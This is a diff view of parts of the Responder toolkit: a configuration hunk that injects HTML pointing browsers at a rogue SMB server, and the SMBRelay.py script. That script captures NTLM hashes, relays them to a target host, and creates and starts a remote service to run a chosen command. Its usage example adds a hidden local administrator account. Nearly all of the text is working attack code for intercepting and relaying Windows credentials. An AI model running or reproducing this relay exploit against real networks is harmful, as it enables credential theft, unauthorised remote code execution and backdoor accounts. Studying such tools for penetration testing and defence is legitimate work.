without poisoning any requests. Also, you can map domains, cause a login prompt in some specific cases.
MSSQL servers, workstations passively. Therefore, default value is False
--lm Set this if you want to force LM hashing downgrade for
Windows XP/2003 and earlier. Default value is False
-v More verbose -v More verbose
For more information read these posts: For more information read these posts:

View File

@@ -45,10 +45,8 @@ ExecFilename = FixInternet.exe
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
; ;
;HTML answer to inject. ;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host. ;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html> HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
;
[HTTPS Server] [HTTPS Server]
; ;
;Change to use your certs ;Change to use your certs

File diff suppressed because it is too large Load Diff

View File

@@ -11,7 +11,7 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
@@ -21,13 +21,13 @@ from socket import *
from RelayPackets import * from RelayPackets import *
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
for arg in parser.rargs: for arg in parser.rargs:
if arg[0] != "-": if arg[0] != "-":
args.append(arg) args.append(arg)
if getattr(parser.values, op.dest): if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest)) args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args) setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
prog=sys.argv[0], prog=sys.argv[0],
@@ -45,19 +45,19 @@ parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBac
options, args = parser.parse_args() options, args = parser.parse_args()
if options.CMD is None: if options.CMD is None:
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.TARGET is None: if options.TARGET is None:
print "\n-t mandatory option is missing, please provide a target.\n" print "\n-t mandatory option is missing, please provide a target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.UserToRelay is None: if options.UserToRelay is None:
print "\n-u mandatory option is missing, please provide a username to relay.\n" print "\n-u mandatory option is missing, please provide a username to relay.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
ResponderPATH = os.path.dirname(__file__) ResponderPATH = os.path.dirname(__file__)
# Set some vars. # Set some vars.
@@ -69,7 +69,7 @@ OURIP = options.OURIP
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com" print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
@@ -93,76 +93,76 @@ Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=lo
#Function used to verify if a previous auth attempt was made. #Function used to verify if a previous auth attempt was made.
def ReadData(outfile,Client, User, cmd=None): def ReadData(outfile,Client, User, cmd=None):
try: try:
with open(ResponderPATH+outfile,"r") as filestr: with open(ResponderPATH+outfile,"r") as filestr:
if cmd == None: if cmd == None:
String = Client+':'+User String = Client+':'+User
if re.search(String.encode('hex'), filestr.read().encode('hex')): if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close() filestr.close()
return True return True
else: else:
return False return False
if cmd != None: if cmd != None:
String = Client+","+User+","+cmd String = Client+","+User+","+cmd
if re.search(String.encode('hex'), filestr.read().encode('hex')): if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close() filestr.close()
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
return True return True
else: else:
return False return False
except: except:
raise raise
#Function used to parse SMB NTLMv1/v2 #Function used to parse SMB NTLMv1/v2
def ParseHash(data,Client, Target): def ParseHash(data,Client, Target):
try: try:
lenght = struct.unpack('<H',data[43:45])[0] lenght = struct.unpack('<H',data[43:45])[0]
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0] Bcc = struct.unpack('<H',data[63:65])[0]
if NthashLen >= 30: if NthashLen >= 30:
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var) Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username): if ReadData("SMBRelay-Session.txt", Client, Username):
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass pass
if Username in UserToRelay: if Username in UserToRelay:
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
print "Username : ",Username print "Username : ",Username
print "Domain (if joined, if not then computer name) : ",Domain print "Domain (if joined, if not then computer name) : ",Domain
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
if NthashLen == 24: if NthashLen == 24:
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var) Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username): if ReadData("SMBRelay-Session.txt", Client, Username):
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass pass
if Username in UserToRelay: if Username in UserToRelay:
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
LMHashing = data[65:65+LMhashLen].encode('hex').upper() LMHashing = data[65:65+LMhashLen].encode('hex').upper()
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
print "Username : ",Username print "Username : ",Username
print "Domain (if joined, if not then computer name) : ",Domain print "Domain (if joined, if not then computer name) : ",Domain
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
else: else:
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
pass pass
except Exception: except Exception:
raise raise
#Detect if SMB auth was Anonymous #Detect if SMB auth was Anonymous
def Is_Anonymous(data): def Is_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
if LMhashLen == 0 or LMhashLen == 1: if LMhashLen == 0 or LMhashLen == 1:
print "SMB Anonymous login requested, trying to force client to auth with credz." print "SMB Anonymous login requested, trying to force client to auth with credz."
return True return True
else: else:
return False return False
def ParseDomain(data): def ParseDomain(data):
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00' Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
@@ -175,71 +175,71 @@ def Parse_Nego_Dialect(data):
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]] var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
test = tuple(var) test = tuple(var)
if test[0] == "NT LM 0.12": if test[0] == "NT LM 0.12":
return "\x00\x00" return "\x00\x00"
if test[1] == "NT LM 0.12": if test[1] == "NT LM 0.12":
return "\x01\x00" return "\x01\x00"
if test[2] == "NT LM 0.12": if test[2] == "NT LM 0.12":
return "\x02\x00" return "\x02\x00"
if test[3] == "NT LM 0.12": if test[3] == "NT LM 0.12":
return "\x03\x00" return "\x03\x00"
if test[4] == "NT LM 0.12": if test[4] == "NT LM 0.12":
return "\x04\x00" return "\x04\x00"
if test[5] == "NT LM 0.12": if test[5] == "NT LM 0.12":
return "\x05\x00" return "\x05\x00"
if test[6] == "NT LM 0.12": if test[6] == "NT LM 0.12":
return "\x06\x00" return "\x06\x00"
if test[7] == "NT LM 0.12": if test[7] == "NT LM 0.12":
return "\x07\x00" return "\x07\x00"
if test[8] == "NT LM 0.12": if test[8] == "NT LM 0.12":
return "\x08\x00" return "\x08\x00"
if test[9] == "NT LM 0.12": if test[9] == "NT LM 0.12":
return "\x09\x00" return "\x09\x00"
if test[10] == "NT LM 0.12": if test[10] == "NT LM 0.12":
return "\x0a\x00" return "\x0a\x00"
def SmbRogueSrv139(key,Target,DomainMachineName): def SmbRogueSrv139(key,Target,DomainMachineName):
s = socket(AF_INET,SOCK_STREAM) s = socket(AF_INET,SOCK_STREAM)
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1) s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
s.settimeout(30) s.settimeout(30)
try: try:
s.bind(('0.0.0.0', 139)) s.bind(('0.0.0.0', 139))
s.listen(0) s.listen(0)
conn, addr = s.accept() conn, addr = s.accept()
except error, msg: except error, msg:
if "Address already in use" in msg: if "Address already in use" in msg:
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m' print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
try: try:
while True: while True:
data = conn.recv(1024) data = conn.recv(1024)
##session request 139 ##session request 139
if data[0] == "\x81": if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00" buffer0 = "\x82\x00\x00\x00"
conn.send(buffer0) conn.send(buffer0)
##Negotiate proto answer. ##Negotiate proto answer.
if data[8:10] == "\x72\x00": if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName) t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
conn.send(buffer1) conn.send(buffer1)
##Session Setup AndX Request ##Session Setup AndX Request
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
if Is_Anonymous(data): if Is_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty()) packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
conn.send(buffer1) conn.send(buffer1)
else: else:
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways. packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
conn.send(buffer1) conn.send(buffer1)
Credz = ParseHash(data,addr[0],Target) Credz = ParseHash(data,addr[0],Target)
return Credz return Credz
except: except:
return None return None
def RunRelay(host, Command,Domain): def RunRelay(host, Command,Domain):
Target = host Target = host
@@ -257,67 +257,67 @@ def RunRelay(host, Command,Domain):
Key = ParseAnswerKey(data,host) Key = ParseAnswerKey(data,host)
DomainMachineName = ParseDomain(data) DomainMachineName = ParseDomain(data)
if data[8:10] == "\x72\x00": if data[8:10] == "\x72\x00":
try: try:
a = SmbRogueSrv139(Key,Target,DomainMachineName) a = SmbRogueSrv139(Key,Target,DomainMachineName)
if a is not None: if a is not None:
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
if Domain == None: if Domain == None:
Domain = OriginalDomain Domain = OriginalDomain
if ReadData("SMBRelay-Session.txt", Target, Username, CMD): if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
pass pass
else: else:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target) t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
except: except:
raise raise
a = None a = None
if data[8:10] == "\x73\x6d": if data[8:10] == "\x73\x6d":
print "[+] Relay failed, auth denied. This user doesn't have an account on this target." print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
Logs.info(CLIENTIP+":"+Username) Logs.info(CLIENTIP+":"+Username)
if data[8:10] == "\x73\x0d": if data[8:10] == "\x73\x0d":
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista" print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
Logs.info(CLIENTIP+":"+Username) Logs.info(CLIENTIP+":"+Username)
## NtCreateAndx ## NtCreateAndx
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
print "[+] Authenticated, trying to PSexec on target !" print "[+] Authenticated, trying to PSexec on target !"
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBNTCreateData() t = SMBNTCreateData()
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## Fail Handling. ## Fail Handling.
if data[8:10] == "\xa2\x22": if data[8:10] == "\xa2\x22":
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
## DCE/RPC Write. ## DCE/RPC Write.
if data[8:10] == "\xa2\x00": if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
x = SMBDCEData() x = SMBDCEData()
x.calculate() x.calculate()
f = data[42:44] f = data[42:44]
t = SMBWriteData(FID=f,Data=x) t = SMBWriteData(FID=f,Data=x)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## DCE/RPC Read. ## DCE/RPC Read.
if data[8:10] == "\x2f\x00": if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f) t = SMBReadData(FID=f)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## DCE/RPC SVCCTLOpenManagerW. ## DCE/RPC SVCCTLOpenManagerW.
if data[8:10] == "\x2e\x00": if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00") w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
w.calculate() w.calculate()
@@ -326,118 +326,118 @@ def RunRelay(host, Command,Domain):
t = SMBWriteData(FID=f,Data=x) t = SMBWriteData(FID=f,Data=x)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## DCE/RPC Read Answer. ## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00": if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f) t = SMBReadData(FID=f)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## DCE/RPC SVCCTLCreateService. ## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\x00": if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00": if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
print "[+] Creating service" print "[+] Creating service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
ContextHandler = data[88:108] ContextHandler = data[88:108]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
w.calculate() w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate() x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## DCE/RPC Read Answer. ## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00": if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to create the service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
w.calculate()
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate() t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## DCE/RPC Read Answer. ## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x2f\x00": if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) if data[len(data)-4:] == "\x05\x00\x00\x00":
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") print "[+] Failed to create the service"
t.calculate()
packet0 = str(head)+str(t) head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
buffer1 = longueur(packet0)+packet0 w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
s.send(buffer1) w.calculate()
data = s.recv(2048) x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
## DCE/RPC SVCCTLStartService. x.calculate()
if data[8:10] == "\x2e\x00": t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
if data[len(data)-4:] == "\x05\x00\x00\x00": t.calculate()
print "[+] Failed to open the service" packet0 = str(head)+str(t)
ContextHandler = data[88:108] buffer1 = longueur(packet0)+packet0
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) s.send(buffer1)
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) data = s.recv(2048)
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) ## DCE/RPC Read Answer.
x.calculate() if data[8:10] == "\x2f\x00":
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t.calculate() t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
packet0 = str(head)+str(t) t.calculate()
buffer1 = longueur(packet0)+packet0 packet0 = str(head)+str(t)
s.send(buffer1) buffer1 = longueur(packet0)+packet0
data = s.recv(2048) s.send(buffer1)
## DCE/RPC Read Answer. data = s.recv(2048)
if data[8:10] == "\x2f\x00": ## DCE/RPC SVCCTLStartService.
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) if data[8:10] == "\x2e\x00":
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") if data[len(data)-4:] == "\x05\x00\x00\x00":
t.calculate() print "[+] Failed to open the service"
packet0 = str(head)+str(t) ContextHandler = data[88:108]
buffer1 = longueur(packet0)+packet0 head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
s.send(buffer1) w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
data = s.recv(2048) x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
if data[8:10] == "\x2e\x00": x.calculate()
print "[+] Command successful !" t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
Logs.info('Command successful:') t.calculate()
Logs.info(Target+","+Username+','+CMD) packet0 = str(head)+str(t)
return True buffer1 = longueur(packet0)+packet0
if data[8:10] != "\x2e\x00": s.send(buffer1)
return False data = s.recv(2048)
